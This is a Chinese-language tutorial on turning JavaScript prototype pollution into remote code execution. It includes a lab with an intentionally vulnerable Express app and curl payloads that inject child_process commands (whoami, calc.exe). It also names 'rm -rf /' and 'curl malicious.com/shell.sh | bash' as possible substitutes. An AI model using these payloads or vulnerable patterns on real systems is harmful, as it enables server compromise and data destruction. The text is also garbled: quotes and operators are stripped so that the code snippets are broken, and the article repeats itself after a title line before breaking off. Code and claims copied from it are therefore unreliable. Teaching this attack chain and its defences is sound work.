1. 项目概述从客户端原型污染到RCE的完整攻击链剖析最近在复盘一些前端安全审计案例时一个典型的攻击链引起了我的注意攻击者利用客户端JavaScript代码中的原型污染漏洞最终实现了远程代码执行。这个链条听起来有点绕但一旦理清你会发现它揭示了现代Web应用安全中一个非常隐蔽且危险的攻击面。它不仅仅是前端的一个小把戏而是一条从客户端“小问题”直通服务器“大麻烦”的完整通路。简单来说就是攻击者先在前端JavaScript中“污染”了对象的原型链然后利用这个被污染的状态去影响或操控后续的应用程序逻辑最终在服务器端或客户端执行任意代码。理解这条链对于开发者和安全研究员都至关重要它能帮你真正看清一个看似无害的客户端漏洞是如何被一步步放大成严重安全事件的。2. 核心概念拆解什么是原型污染与RCE在深入攻击链之前我们必须把两个核心概念掰开揉碎了讲清楚。很多文章只讲现象但搞懂原理才能有效防御。2.1 JavaScript原型污染的本质与常见触发点原型污染英文是Prototype Pollution。要理解它你得先忘掉那些复杂的定义从JavaScript最根本的原型链继承机制想起。在JS里几乎所有的对象都有一个隐藏的__proto__属性现在更推荐用Object.getPrototypeOf()它指向创建这个对象的构造函数的prototype对象。当你访问一个对象的属性时如果这个对象自身没有JS引擎就会沿着__proto__这条链往上找直到找到或者到达链条的尽头null。原型污染攻击就是攻击者通过某种方式向基础对象比如Object.prototype添加或修改属性。一旦成功所有继承了该原型的对象都会“自动”拥有这个被污染的属性因为查找机制会沿着原型链找到它。那么攻击者怎么“污染”呢最常见入口有两个不安全的对象合并Merge/Extend这是重灾区。很多工具函数或库如jQuery的$.extend Lodash的_.merge或者开发者自己写的工具函数用于深度合并对象。如果合并逻辑没有对__proto__、constructor、prototype等特殊属性进行过滤攻击者就可以通过控制输入来注入这些属性。// 一个不安全的深度合并函数示例 function merge(target, source) { for (let key in source) { if (typeof source[key] object) { if (!target[key]) target[key] {}; merge(target[key], source[key]); // 递归合并 } else { target[key] source[key]; // 直接赋值 } } return target; } // 攻击者可控的输入 let maliciousPayload JSON.parse({__proto__: {polluted: yes}}); // 或者通过URL参数、请求体传入 let userInput {__proto__: {polluted: yes}}; let obj {}; merge({}, userInput); // 触发污染 console.log(({}).polluted); // 输出: yes。空对象竟然有了polluted属性关键在于当key是__proto__时target[key]实际上是在修改target.__proto__也就是target的原型对象。如果target是{}其原型就是Object.prototype。这就直接污染了所有对象的根源。不安全的对象路径设置Path Assignment一些库提供了通过字符串路径来动态设置对象深层属性的功能例如lodash.set或dset。如果路径解析逻辑有缺陷攻击者可以构造像“__proto__.polluted”这样的路径字符串达到同样的污染效果。const set require(lodash.set); let obj {}; set(obj, __proto__.polluted, hacked); console.log(({}).polluted); // 输出: hacked注意现代版本的Lodash等库已经修复了这些问题。但很多老旧代码、自定义工具函数或小众库中此类漏洞依然广泛存在。审计时要重点关注任何接受外部输入并用于修改对象结构的函数。2.2 RCE的终极目标与常见场景RCE远程代码执行是漏洞利用的“皇冠”。它意味着攻击者能够从远程位置在目标系统上执行任意命令或代码。在Web安全语境下RCE通常发生在服务器端Server-Side RCE但客户端如Node.js桌面应用、Electron应用也可能成为目标。服务器端RCE的常见触发点包括模板引擎注入如Jinja2Python、FreemarkerJava、Pug/JadeNode.js等如果用户输入被直接嵌入模板并执行可能导致代码执行。反序列化漏洞不安全的反序列化操作如PHP的unserialize()Java的ObjectInputStreamPython的pickle可以导致任意类加载和代码执行。命令注入将用户输入直接拼接到系统命令中执行如exec(userInput)。代码注入动态执行用户输入的代码如eval()、setTimeout(userInput)、Function(userInput)等。这条攻击链的狡猾之处在于原型污染本身通常不能直接导致RCE。它更像是一个“杠杆”或“开关”为攻击者创造条件去触发另一个本应被安全边界限制的RCE漏洞。污染是“因”用来改变程序的行为或状态而最终的RCE是“果”是程序在污染后的异常状态下执行了危险操作。3. 攻击链全景从污染到执行的完整路径理解了基本概念我们来看这条链是如何串联起来的。它通常不是一步到位的而是环环相扣的“组合拳”。下图描绘了典型的攻击流程graph TD A[攻击起点 用户可控输入] -- B{入口点 存在漏洞的函数}; B -- 如不安全的 merge/set -- C[达成 原型污染]; C -- D[影响 应用程序逻辑/配置]; D -- E[寻找 可利用的“跳板” Gadget]; E -- F[触发 高危操作]; F -- G[最终目标 实现RCE]; subgraph “污染利用阶段” D E end style C fill:#ffcccc style G fill:#ff9999,stroke:#333,stroke-width:2px从上图可以看出攻击始于攻击者可控的输入通过存在漏洞的接口如对象合并函数实现原型污染。污染成功后攻击者并不直接攻击而是利用污染来改变应用程序的某些关键逻辑或配置寻找一个能导致代码执行的“跳板”Gadget。最终通过这个被污染的“跳板”触发高危操作达成RCE。3.1 第一阶段识别与利用原型污染点攻击的第一步是找到那个不安全的对象操作点。作为开发者或安全测试人员你需要代码审计全局搜索关键词如merge、extend、assign注意深度合并、set带路径的、deepClone、JSON.parse后接合并操作等。仔细审查这些函数的实现看是否对__proto__、constructor、prototype进行了过滤。黑盒测试在参数中尝试注入原型污染Payload。常见测试Payload有{__proto__: {polluted: test}}{constructor: {prototype: {polluted: test}}}URL参数形式?__proto__[polluted]test或?constructor[prototype][polluted]test提交后观察应用行为是否异常或者通过浏览器开发者工具检查任意对象的属性如console.log(({}).polluted)来确认污染是否成功。工具辅助使用像pp-finder这样的浏览器扩展或DOM InvaderBurp Suite内置等工具可以自动探测原型污染漏洞。3.2 第二阶段寻找污染后的可利用“跳板”污染成功只是拿到了“钥匙”还得找到能打开的“门”。这个“门”就是所谓的Gadget——一段现有的、看似无害的代码在原型被污染后其行为会变得危险。寻找Gadget是攻击链中最需要经验和技巧的部分。通常有两类影响配置或选项很多库或框架会从全局对象或默认配置中读取选项。如果通过原型污染修改了这些默认值就可能改变程序的安全行为。例如污染Object.prototype.nosql可能影响某些ORM库的查询解析导致NoSQL注入。例如污染Object.prototype.autoEscape为false可能导致模板引擎关闭自动转义从而引发XSS虽然还不是RCE但思路类似。影响代码执行流这是通向RCE的关键。目标是找到那些会基于对象属性动态执行代码的函数。经典案例 - 污染Object.prototype.block影响Pug模板在旧版本的Pug模板引擎中编译后的模板函数会检查一个block属性。如果通过原型污染给所有对象加上了block属性并且这个属性值是一个函数或危险字符串就可能被模板引擎执行。寻找eval、setTimeout、Function构造器、require的动态调用审计代码寻找那些使用对象属性作为参数来调用这些危险函数的代码片段。一旦污染了该属性就控制了执行的代码。3.3 第三阶段构造最终RCE载荷找到Gadget后就需要精心构造污染载荷让Gadget执行我们想要的命令。这通常需要结合具体的Gadget和环境。一个模拟的、高度简化的案例场景 假设我们有一个使用Express和某个存在污染漏洞的工具库utils.merge的Node.js服务。服务中有一段不安全的代码使用eval执行来自某个配置对象的script属性。存在漏洞的合并// app.js - 服务端代码 const utils require(./utils); // 假设utils.merge存在原型污染漏洞 const express require(express); const app express(); app.use(express.json()); app.post(/api/config, (req, res) { let defaultConfig { mode: safe }; // 危险将用户输入的req.body与默认配置合并 let userConfig utils.merge({}, defaultConfig, req.body); // ... 其他处理将userConfig存入某处或传递给其他模块 someModule.loadConfig(userConfig); res.send(ok); });存在Gadget的模块// someModule.js module.exports.loadConfig function(config) { // 危险动态执行config中的script属性 if (config.script) { // 假设这里是为了“灵活”地执行一些初始化脚本 eval(config.script); // Gadget在这里 } // ... 其他加载逻辑 };攻击链构造攻击者向/api/config发送POST请求。请求体req.body包含双重Payload{ __proto__: { script: require(child_process).exec(calc.exe); }, otherData: value }utils.merge函数在处理时发生原型污染使得Object.prototype.script被赋值为恶意字符串。当someModule.loadConfig被调用时它接收到的userConfig对象本身可能没有script属性。但由于原型污染config.script会沿着原型链找到Object.prototype.script也就是我们的恶意代码。eval执行了require(child_process).exec(calc.exe);在服务器上弹出了计算器模拟RCE。实操心得在实际攻击中情况远比这复杂。eval可能被隐藏得很深或者需要串联多个Gadget。攻击者需要仔细研究目标应用的源代码或通过黑盒测试探测行为才能构造出有效的利用链。这通常是一个“侦查-污染-测试-利用”的反复过程。4. 真实世界案例研究与工具链理论需要结合实践。我们来看一个历史上著名的、影响深远的案例通过污染Object.prototype.block结合Pug模板引擎实现RCE。这个案例完美诠释了攻击链的复杂性。4.1 案例分析CVE-2021-25931等系列漏洞在Pug模板引擎特别是其前身Jade的某些实现中编译后的模板函数内部会使用一个名为block的变量。这个变量预期是从模板数据对象中获取的。然而如果数据对象没有block属性JavaScript会沿着原型链查找。攻击者通过原型污染例如利用一个前端库如lodash.merge的漏洞或者通过API参数污染成功向Object.prototype添加了一个block属性。这个属性可以被设置为一个函数或一个字符串。当被污染的模板进行渲染时Pug引擎会执行到类似这样的逻辑var block data.block || defaultBlock;。由于data本身没有block它找到了被污染的Object.prototype.block。如果block被污染成一个恶意函数或包含恶意代码的字符串在模板渲染过程中就可能被调用或拼接执行从而导致服务器端代码执行。这个案例的链条是应用使用有漏洞的lodash.mergeCVE-2019-10744等处理用户输入。攻击者提交污染__proto__.block的Payload。应用在后续的某个请求中渲染了一个Pug模板。Pug引擎读取被污染的block属性。恶意代码被执行实现RCE。4.2 攻击者视角使用的工具与技术了解攻击者的工具包有助于我们更好地防御。探测工具浏览器扩展如pp-finder能自动扫描页面并尝试原型污染。Burp Suite插件如DOM Invader集成了强大的客户端漏洞包括原型污染探测能力。自定义脚本攻击者常编写Python或Node.js脚本批量对API端点进行污染Payload测试。Gadget发现源代码审计如果能有部分源代码如开源库、泄露的源码攻击者会直接搜索eval、new Function、setTimeout、require等关键字分析其调用上下文。黑盒模糊测试在污染成功后向应用发送大量随机或结构化的数据观察应用的行为变化、错误信息从中推断可能的Gadget。例如如果污染某个属性后原本正常的模板渲染报出奇怪的语法错误这可能暗示该属性被模板引擎使用。已知Gadget库安全研究人员会公开一些常见库的污染Gadget攻击者会尝试将这些已知的Gadget与目标应用进行匹配。利用框架一些高级的攻击工具或概念验证PoC脚本能够将污染和利用过程自动化。例如针对特定版本lodashPug组合的自动化利用脚本。4.3 防御者视角如何检测与拦截防御需要多层次进行从开发到运维都不能松懈。代码层面治本使用安全的库和函数升级lodash、jQuery、hoek等已知存在污染漏洞的库到最新版本。使用Object.assign进行浅拷贝它不会污染原型对于深拷贝使用明确声明安全的库或函数如lodash的_.cloneDeep已修复。实现安全的合并函数如果必须自己写务必在合并前过滤键名。function safeMerge(target, source) { for (let key in source) { if (key __proto__ || key constructor || key prototype) { continue; // 直接跳过敏感键 } if (typeof source[key] object source[key] ! null) { if (!target[key]) target[key] {}; safeMerge(target[key], source[key]); } else { target[key] source[key]; } } return target; }冻结Object.prototype在极度敏感的应用入口可以考虑使用Object.freeze(Object.prototype)来防止原型被修改。但这可能影响某些库的正常运行需谨慎测试。使用Object.create(null)创建纯净对象对于用作映射Map的字典对象使用Object.create(null)创建没有原型的对象彻底杜绝原型链查找的干扰。依赖管理使用npm audit或yarn audit定期检查依赖中的已知漏洞。使用Snyk、Dependabot等工具集成到CI/CD流程中自动扫描和修复漏洞依赖。运行时/运维层面输入验证与净化对所有用户输入进行严格的验证和类型检查。对于JSON输入可以使用schema验证库如ajv确保数据结构符合预期并拒绝包含__proto__等特殊键名的对象。沙箱与隔离对于必须执行动态代码的场景应尽量避免使用严格的沙箱环境如Node.js的vm模块但需谨慎配置或更安全的隔离方案如Docker容器、独立的子进程。最小权限原则运行应用程序的进程应具有最小必要的权限避免使用root或高权限账户这样即使发生RCE造成的破坏也有限。WAFWeb应用防火墙规则可以配置WAF规则来拦截请求体中包含可疑序列如“__proto__”、“constructor[prototype]”的请求。但这只是一种缓解措施聪明的攻击者可能会进行编码或混淆。5. 实战演练搭建靶场与漏洞复现“纸上得来终觉浅绝知此事要躬行。”要真正理解这条攻击链最好的方法是在受控环境中亲手复现一遍。下面我将引导你搭建一个简单的、存在漏洞的Node.js应用并完成从原型污染到RCE的完整攻击。5.1 环境准备与漏洞应用搭建我们创建一个最简单的Express应用它有两个致命漏洞一个不安全的合并函数和一个危险的eval用法。初始化项目mkdir prototype-pollution-rce-lab cd prototype-pollution-rce-lab npm init -y安装依赖npm install express创建有漏洞的utils.js// utils.js - 这是一个存在原型污染漏洞的深度合并函数 function vulnerableMerge(target, ...sources) { sources.forEach(source { for (const key in source) { if (typeof source[key] object source[key] ! null) { if (!target[key]) { target[key] {}; } vulnerableMerge(target[key], source[key]); // 递归未过滤key } else { target[key] source[key]; // 直接赋值 } } }); return target; } module.exports { merge: vulnerableMerge };创建主应用app.js// app.js - 主应用包含Gadget const express require(express); const { merge } require(./utils); const app express(); const port 3000; app.use(express.json()); // 解析JSON请求体 // 一个“配置”对象模拟从数据库或默认值加载 let appConfig { name: Vulnerable App, features: { logging: true } }; // 漏洞端点1接收配置更新污染入口 app.post(/updateConfig, (req, res) { console.log(Received body:, req.body); // 危险操作直接将用户输入合并到配置对象 appConfig merge({}, appConfig, req.body); res.json({ message: Config updated, config: appConfig }); }); // 漏洞端点2执行“动态脚本”Gadget app.get(/runScript, (req, res) { // 模拟从配置中读取脚本并执行 // 注意这里直接读取appConfig.script它可能来自原型链 if (appConfig.script) { try { // 高危操作使用eval执行配置中的脚本 const result eval(appConfig.script); res.json({ message: Script executed, result: result }); } catch (err) { res.status(500).json({ error: err.message }); } } else { res.json({ message: No script configured }); } }); // 一个辅助端点查看当前原型是否被污染 app.get(/checkPollution, (req, res) { const isPolluted ({}).polluted yes; res.json({ polluted: isPolluted }); }); app.listen(port, () { console.log(Vulnerable app listening at http://localhost:${port}); });启动应用node app.js5.2 分步攻击演示与原理验证现在我们使用curl或Postman来模拟攻击者。步骤一验证污染入口首先检查污染是否可行。我们向/updateConfig发送一个污染Payload。curl -X POST http://localhost:3000/updateConfig \ -H Content-Type: application/json \ -d {features: {debug: false}, __proto__: {polluted: yes}}发送后访问/checkPollution端点curl http://localhost:3000/checkPollution如果返回{polluted:true}恭喜你原型污染成功了Object.prototype.polluted已经被设置为yes。步骤二识别Gadget在我们的应用中Gadget很明显就是/runScript端点它会执行appConfig.script。但注意appConfig对象本身并没有script属性。我们的目标是让appConfig.script通过原型链找到我们污染的值。步骤三构造RCE载荷并执行我们需要污染Object.prototype.script使其包含恶意代码。由于eval在Node.js环境中我们可以执行系统命令。我们使用Node.js的child_process模块。curl -X POST http://localhost:3000/updateConfig \ -H Content-Type: application/json \ -d {__proto__: {script: require(\child_process\).execSync(\whoami\).toString()}}这个Payload污染了script属性其值是一段JS代码同步执行whoami命令并返回结果。步骤四触发Gadget实现RCE现在访问/runScript端点触发eval执行被污染的script。curl http://localhost:3000/runScript你应该会看到返回结果中包含服务器当前运行进程的用户名如root、ubuntu等。这证明远程代码执行成功了攻击者可以将whoami替换成任意命令如rm -rf /、curl malicious.com/shell.sh | bash等造成严重后果。踩坑记录与注意事项Payload转义在JSON中传递字符串需要对双引号和反斜杠进行转义\和\\。这是实际操作中最容易出错的地方。环境差异你的实验环境可能没有安装child_process模块实际上Node.js核心模块默认都有但如果是非常精简的环境可能需要考虑其他执行命令的方式。命令注入与输出execSync会返回命令的输出适合演示。实际攻击中攻击者可能使用exec异步执行或者将输出重定向到网络请求以隐藏痕迹。现实世界的隐蔽性真实的Gadget不会这么明显。eval可能藏在第三方库的深处script属性可能有别的名字触发污染和触发Gadget的可能是两个完全不同的API端点中间有时间间隔。攻击链的挖掘需要耐心和细致的分析。6. 防御策略深度解析与进阶话题通过实战我们看到了漏洞的威力。现在让我们系统性地梳理防御策略并探讨一些更深入的话题。6.1 分层防御体系构建单一防御措施容易被绕过必须建立纵深防御。防御层具体措施原理与目的代码层1. 使用安全的库如Lodash 4.17.12。2. 使用Object.create(null)创建无原型对象。3. 实现安全的合并函数过滤__proto__等键。4. 避免使用eval、new Function等动态执行。从根源上消除漏洞产生的条件是最有效的防御。输入验证层1. 对所有输入进行严格的Schema验证。2. 使用JSON.parse的reviver参数或预处理函数过滤敏感键。3. 对传入对象进行“净化”删除或拒绝原型相关键。将恶意Payload阻挡在业务逻辑之外。依赖管理1. 定期运行npm audit。2. 使用Dependabot、Snyk等自动化工具。3. 锁定依赖版本package-lock.json。防止已知漏洞的第三方库被引入。运行时加固1. 使用Object.freeze(Object.prototype)谨慎。2. 在Docker容器中以非root用户运行。3. 使用Seccomp、AppArmor等限制系统调用。即使漏洞被利用也能限制攻击造成的破坏范围。监控与响应1. 监控应用中异常的eval或spawn调用。2. 记录包含可疑模式的请求日志。3. 部署WAF并更新规则库。及时发现攻击行为并快速响应。6.2 针对特定场景的加固方案对于必须处理动态JSON配置的应用使用JSON.parse的reviver替换器函数。const safeReviver (key, value) { const forbiddenKeys [__proto__, constructor, prototype]; if (forbiddenKeys.includes(key)) { return undefined; // 直接丢弃这个属性 } return value; }; const parsed JSON.parse(userInput, safeReviver);对于使用了易受攻击模板引擎的应用确保将用户输入与模板渲染上下文明确分离永远不要将未经净化的用户对象直接传入模板渲染函数。使用模板引擎提供的上下文转义功能。6.3 进阶话题Client-Side Prototype Pollution (CSPP) 与 RCE我们讨论的主要是服务端Node.js的场景。但在纯前端浏览器环境中原型污染同样危险虽然通常无法直接导致服务端RCE但可以导致严重的客户端攻击DOM XSS通过污染影响前端框架如AngularJS, Vue 2.x的模板或属性绑定可以注入恶意脚本实现跨站脚本攻击。客户端逻辑绕过污染全局配置可能绕过前端的安全检查、认证状态等。结合其他漏洞如果前端应用内嵌了Node.js环境如Electron、NW.js那么客户端的原型污染有可能最终影响到Node.js部分从而形成一条从客户端到客户端本地RCE的攻击链。这在Electron应用中尤其需要警惕因为Electron渲染进程前端通常与主进程Node.js有IPC通信污染可能通过IPC传递或影响共享的全局对象。防御客户端原型污染除了应用上述部分策略外还应使用内容安全策略CSP来限制脚本执行。对来自服务端的数据在渲染前进行净化。避免在前端使用存在已知污染漏洞的库。6.4 自动化检测与未来展望手动挖掘原型污染到RCE的链条非常耗时。未来自动化工具将扮演更重要的角色静态分析SAST工具可以分析源代码识别不安全的合并函数和潜在的Gadget如eval调用并建立数据流关联报告潜在的污染到RCE链条。动态分析IAST/DAST在应用运行时通过插桩或流量分析检测原型污染是否发生并尝试自动发现可利用的Gadget。模糊测试向应用注入大量结构化的污染Payload并监控应用的后端进程是否产生了异常的子进程或网络连接以此发现潜在的RCE。对于开发者而言最根本的还是要提高安全意识在代码设计和评审阶段就将“安全的默认值”和“最小化攻击面”作为基本原则。每一次eval的使用每一次深度合并的操作都应该被当作潜在的安全风险来严肃对待。这条从客户端原型污染到RCE的攻击链虽然曲折但它清晰地告诉我们安全是一个整体任何一个环节的疏忽都可能被攻击者串联起来造成致命的破坏。
从原型污染到RCE：前端漏洞如何演变为服务器端代码执行攻击
发布时间：2026/6/20 23:19:32
1. 项目概述从客户端原型污染到RCE的完整攻击链剖析最近在复盘一些前端安全审计案例时一个典型的攻击链引起了我的注意攻击者利用客户端JavaScript代码中的原型污染漏洞最终实现了远程代码执行。这个链条听起来有点绕但一旦理清你会发现它揭示了现代Web应用安全中一个非常隐蔽且危险的攻击面。它不仅仅是前端的一个小把戏而是一条从客户端“小问题”直通服务器“大麻烦”的完整通路。简单来说就是攻击者先在前端JavaScript中“污染”了对象的原型链然后利用这个被污染的状态去影响或操控后续的应用程序逻辑最终在服务器端或客户端执行任意代码。理解这条链对于开发者和安全研究员都至关重要它能帮你真正看清一个看似无害的客户端漏洞是如何被一步步放大成严重安全事件的。2. 核心概念拆解什么是原型污染与RCE在深入攻击链之前我们必须把两个核心概念掰开揉碎了讲清楚。很多文章只讲现象但搞懂原理才能有效防御。2.1 JavaScript原型污染的本质与常见触发点原型污染英文是Prototype Pollution。要理解它你得先忘掉那些复杂的定义从JavaScript最根本的原型链继承机制想起。在JS里几乎所有的对象都有一个隐藏的__proto__属性现在更推荐用Object.getPrototypeOf()它指向创建这个对象的构造函数的prototype对象。当你访问一个对象的属性时如果这个对象自身没有JS引擎就会沿着__proto__这条链往上找直到找到或者到达链条的尽头null。原型污染攻击就是攻击者通过某种方式向基础对象比如Object.prototype添加或修改属性。一旦成功所有继承了该原型的对象都会“自动”拥有这个被污染的属性因为查找机制会沿着原型链找到它。那么攻击者怎么“污染”呢最常见入口有两个不安全的对象合并Merge/Extend这是重灾区。很多工具函数或库如jQuery的$.extend Lodash的_.merge或者开发者自己写的工具函数用于深度合并对象。如果合并逻辑没有对__proto__、constructor、prototype等特殊属性进行过滤攻击者就可以通过控制输入来注入这些属性。// 一个不安全的深度合并函数示例 function merge(target, source) { for (let key in source) { if (typeof source[key] object) { if (!target[key]) target[key] {}; merge(target[key], source[key]); // 递归合并 } else { target[key] source[key]; // 直接赋值 } } return target; } // 攻击者可控的输入 let maliciousPayload JSON.parse({__proto__: {polluted: yes}}); // 或者通过URL参数、请求体传入 let userInput {__proto__: {polluted: yes}}; let obj {}; merge({}, userInput); // 触发污染 console.log(({}).polluted); // 输出: yes。空对象竟然有了polluted属性关键在于当key是__proto__时target[key]实际上是在修改target.__proto__也就是target的原型对象。如果target是{}其原型就是Object.prototype。这就直接污染了所有对象的根源。不安全的对象路径设置Path Assignment一些库提供了通过字符串路径来动态设置对象深层属性的功能例如lodash.set或dset。如果路径解析逻辑有缺陷攻击者可以构造像“__proto__.polluted”这样的路径字符串达到同样的污染效果。const set require(lodash.set); let obj {}; set(obj, __proto__.polluted, hacked); console.log(({}).polluted); // 输出: hacked注意现代版本的Lodash等库已经修复了这些问题。但很多老旧代码、自定义工具函数或小众库中此类漏洞依然广泛存在。审计时要重点关注任何接受外部输入并用于修改对象结构的函数。2.2 RCE的终极目标与常见场景RCE远程代码执行是漏洞利用的“皇冠”。它意味着攻击者能够从远程位置在目标系统上执行任意命令或代码。在Web安全语境下RCE通常发生在服务器端Server-Side RCE但客户端如Node.js桌面应用、Electron应用也可能成为目标。服务器端RCE的常见触发点包括模板引擎注入如Jinja2Python、FreemarkerJava、Pug/JadeNode.js等如果用户输入被直接嵌入模板并执行可能导致代码执行。反序列化漏洞不安全的反序列化操作如PHP的unserialize()Java的ObjectInputStreamPython的pickle可以导致任意类加载和代码执行。命令注入将用户输入直接拼接到系统命令中执行如exec(userInput)。代码注入动态执行用户输入的代码如eval()、setTimeout(userInput)、Function(userInput)等。这条攻击链的狡猾之处在于原型污染本身通常不能直接导致RCE。它更像是一个“杠杆”或“开关”为攻击者创造条件去触发另一个本应被安全边界限制的RCE漏洞。污染是“因”用来改变程序的行为或状态而最终的RCE是“果”是程序在污染后的异常状态下执行了危险操作。3. 攻击链全景从污染到执行的完整路径理解了基本概念我们来看这条链是如何串联起来的。它通常不是一步到位的而是环环相扣的“组合拳”。下图描绘了典型的攻击流程graph TD A[攻击起点 用户可控输入] -- B{入口点 存在漏洞的函数}; B -- 如不安全的 merge/set -- C[达成 原型污染]; C -- D[影响 应用程序逻辑/配置]; D -- E[寻找 可利用的“跳板” Gadget]; E -- F[触发 高危操作]; F -- G[最终目标 实现RCE]; subgraph “污染利用阶段” D E end style C fill:#ffcccc style G fill:#ff9999,stroke:#333,stroke-width:2px从上图可以看出攻击始于攻击者可控的输入通过存在漏洞的接口如对象合并函数实现原型污染。污染成功后攻击者并不直接攻击而是利用污染来改变应用程序的某些关键逻辑或配置寻找一个能导致代码执行的“跳板”Gadget。最终通过这个被污染的“跳板”触发高危操作达成RCE。3.1 第一阶段识别与利用原型污染点攻击的第一步是找到那个不安全的对象操作点。作为开发者或安全测试人员你需要代码审计全局搜索关键词如merge、extend、assign注意深度合并、set带路径的、deepClone、JSON.parse后接合并操作等。仔细审查这些函数的实现看是否对__proto__、constructor、prototype进行了过滤。黑盒测试在参数中尝试注入原型污染Payload。常见测试Payload有{__proto__: {polluted: test}}{constructor: {prototype: {polluted: test}}}URL参数形式?__proto__[polluted]test或?constructor[prototype][polluted]test提交后观察应用行为是否异常或者通过浏览器开发者工具检查任意对象的属性如console.log(({}).polluted)来确认污染是否成功。工具辅助使用像pp-finder这样的浏览器扩展或DOM InvaderBurp Suite内置等工具可以自动探测原型污染漏洞。3.2 第二阶段寻找污染后的可利用“跳板”污染成功只是拿到了“钥匙”还得找到能打开的“门”。这个“门”就是所谓的Gadget——一段现有的、看似无害的代码在原型被污染后其行为会变得危险。寻找Gadget是攻击链中最需要经验和技巧的部分。通常有两类影响配置或选项很多库或框架会从全局对象或默认配置中读取选项。如果通过原型污染修改了这些默认值就可能改变程序的安全行为。例如污染Object.prototype.nosql可能影响某些ORM库的查询解析导致NoSQL注入。例如污染Object.prototype.autoEscape为false可能导致模板引擎关闭自动转义从而引发XSS虽然还不是RCE但思路类似。影响代码执行流这是通向RCE的关键。目标是找到那些会基于对象属性动态执行代码的函数。经典案例 - 污染Object.prototype.block影响Pug模板在旧版本的Pug模板引擎中编译后的模板函数会检查一个block属性。如果通过原型污染给所有对象加上了block属性并且这个属性值是一个函数或危险字符串就可能被模板引擎执行。寻找eval、setTimeout、Function构造器、require的动态调用审计代码寻找那些使用对象属性作为参数来调用这些危险函数的代码片段。一旦污染了该属性就控制了执行的代码。3.3 第三阶段构造最终RCE载荷找到Gadget后就需要精心构造污染载荷让Gadget执行我们想要的命令。这通常需要结合具体的Gadget和环境。一个模拟的、高度简化的案例场景 假设我们有一个使用Express和某个存在污染漏洞的工具库utils.merge的Node.js服务。服务中有一段不安全的代码使用eval执行来自某个配置对象的script属性。存在漏洞的合并// app.js - 服务端代码 const utils require(./utils); // 假设utils.merge存在原型污染漏洞 const express require(express); const app express(); app.use(express.json()); app.post(/api/config, (req, res) { let defaultConfig { mode: safe }; // 危险将用户输入的req.body与默认配置合并 let userConfig utils.merge({}, defaultConfig, req.body); // ... 其他处理将userConfig存入某处或传递给其他模块 someModule.loadConfig(userConfig); res.send(ok); });存在Gadget的模块// someModule.js module.exports.loadConfig function(config) { // 危险动态执行config中的script属性 if (config.script) { // 假设这里是为了“灵活”地执行一些初始化脚本 eval(config.script); // Gadget在这里 } // ... 其他加载逻辑 };攻击链构造攻击者向/api/config发送POST请求。请求体req.body包含双重Payload{ __proto__: { script: require(child_process).exec(calc.exe); }, otherData: value }utils.merge函数在处理时发生原型污染使得Object.prototype.script被赋值为恶意字符串。当someModule.loadConfig被调用时它接收到的userConfig对象本身可能没有script属性。但由于原型污染config.script会沿着原型链找到Object.prototype.script也就是我们的恶意代码。eval执行了require(child_process).exec(calc.exe);在服务器上弹出了计算器模拟RCE。实操心得在实际攻击中情况远比这复杂。eval可能被隐藏得很深或者需要串联多个Gadget。攻击者需要仔细研究目标应用的源代码或通过黑盒测试探测行为才能构造出有效的利用链。这通常是一个“侦查-污染-测试-利用”的反复过程。4. 真实世界案例研究与工具链理论需要结合实践。我们来看一个历史上著名的、影响深远的案例通过污染Object.prototype.block结合Pug模板引擎实现RCE。这个案例完美诠释了攻击链的复杂性。4.1 案例分析CVE-2021-25931等系列漏洞在Pug模板引擎特别是其前身Jade的某些实现中编译后的模板函数内部会使用一个名为block的变量。这个变量预期是从模板数据对象中获取的。然而如果数据对象没有block属性JavaScript会沿着原型链查找。攻击者通过原型污染例如利用一个前端库如lodash.merge的漏洞或者通过API参数污染成功向Object.prototype添加了一个block属性。这个属性可以被设置为一个函数或一个字符串。当被污染的模板进行渲染时Pug引擎会执行到类似这样的逻辑var block data.block || defaultBlock;。由于data本身没有block它找到了被污染的Object.prototype.block。如果block被污染成一个恶意函数或包含恶意代码的字符串在模板渲染过程中就可能被调用或拼接执行从而导致服务器端代码执行。这个案例的链条是应用使用有漏洞的lodash.mergeCVE-2019-10744等处理用户输入。攻击者提交污染__proto__.block的Payload。应用在后续的某个请求中渲染了一个Pug模板。Pug引擎读取被污染的block属性。恶意代码被执行实现RCE。4.2 攻击者视角使用的工具与技术了解攻击者的工具包有助于我们更好地防御。探测工具浏览器扩展如pp-finder能自动扫描页面并尝试原型污染。Burp Suite插件如DOM Invader集成了强大的客户端漏洞包括原型污染探测能力。自定义脚本攻击者常编写Python或Node.js脚本批量对API端点进行污染Payload测试。Gadget发现源代码审计如果能有部分源代码如开源库、泄露的源码攻击者会直接搜索eval、new Function、setTimeout、require等关键字分析其调用上下文。黑盒模糊测试在污染成功后向应用发送大量随机或结构化的数据观察应用的行为变化、错误信息从中推断可能的Gadget。例如如果污染某个属性后原本正常的模板渲染报出奇怪的语法错误这可能暗示该属性被模板引擎使用。已知Gadget库安全研究人员会公开一些常见库的污染Gadget攻击者会尝试将这些已知的Gadget与目标应用进行匹配。利用框架一些高级的攻击工具或概念验证PoC脚本能够将污染和利用过程自动化。例如针对特定版本lodashPug组合的自动化利用脚本。4.3 防御者视角如何检测与拦截防御需要多层次进行从开发到运维都不能松懈。代码层面治本使用安全的库和函数升级lodash、jQuery、hoek等已知存在污染漏洞的库到最新版本。使用Object.assign进行浅拷贝它不会污染原型对于深拷贝使用明确声明安全的库或函数如lodash的_.cloneDeep已修复。实现安全的合并函数如果必须自己写务必在合并前过滤键名。function safeMerge(target, source) { for (let key in source) { if (key __proto__ || key constructor || key prototype) { continue; // 直接跳过敏感键 } if (typeof source[key] object source[key] ! null) { if (!target[key]) target[key] {}; safeMerge(target[key], source[key]); } else { target[key] source[key]; } } return target; }冻结Object.prototype在极度敏感的应用入口可以考虑使用Object.freeze(Object.prototype)来防止原型被修改。但这可能影响某些库的正常运行需谨慎测试。使用Object.create(null)创建纯净对象对于用作映射Map的字典对象使用Object.create(null)创建没有原型的对象彻底杜绝原型链查找的干扰。依赖管理使用npm audit或yarn 